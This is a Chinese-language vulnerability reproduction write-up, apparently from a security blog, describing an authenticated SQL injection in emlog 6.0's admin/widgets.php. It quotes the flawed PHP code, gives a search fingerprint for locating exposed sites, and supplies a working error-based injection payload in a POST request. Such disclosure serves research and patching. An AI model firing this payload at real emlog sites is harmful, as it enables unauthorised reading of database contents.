emlog widgets.php 后台SQL注入漏洞

漏洞描述

emlog widgets.php文件在登录后通过构造特殊语句导致SQL注入,获取数据库敏感信息。

漏洞影响

emlog 6.0

网络测绘

app=”EMLOG”

漏洞复现

产品主页

https://github.com/emlog/emlog

20231031150520993-png

存在漏洞的文件为 admin/widgets.php

20231031150652108-3067cee9-c51a-4313-b38b-f2d8700dd7ff (1)

if ($action == 'compages') {
    $wgNum = isset($_POST['wgnum']) ? intval($_POST['wgnum']) : 1;//侧边栏编号 1、2、3 ……
    $widgets = isset($_POST['widgets']) ? serialize($_POST['widgets']) : '';
    Option::updateOption("widgets{$wgNum}", $widgets);
    $CACHE->updateCache('options');
    emDirect("./widgets.php?activated=true&wg=$wgNum");
}

传参为 wgnum 和 widgets ,跟踪方法 updateOption

20231031150833309-50453f8e-80ec-4eb9-9b53-7a752d61cb27 (1)

static function updateOption($name, $value, $isSyntax = false){
        $DB = Database::getInstance();
        $value = $isSyntax ? $value : "'$value'";
        $DB->query('UPDATE '.DB_PREFIX."options SET option_value=$value where option_name='$name'");
    }

可以发现对传入的参数木有进行过滤,构造Payload

POST /admin/widgets.php?action=compages

widgets=1' and updatexml(0x3a,concat(1,(select user())),1)--

调试后可以发现,数据库报错语句会回显至页面中,报错注入即可获取敏感信息

20231031151014771-cd011d88-1e58-40e4-8ad3-7ee32e7e02b8 (1)

20231031151100709-f66a94d9-49ce-4901-9ef2-600691d2f38d (1)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容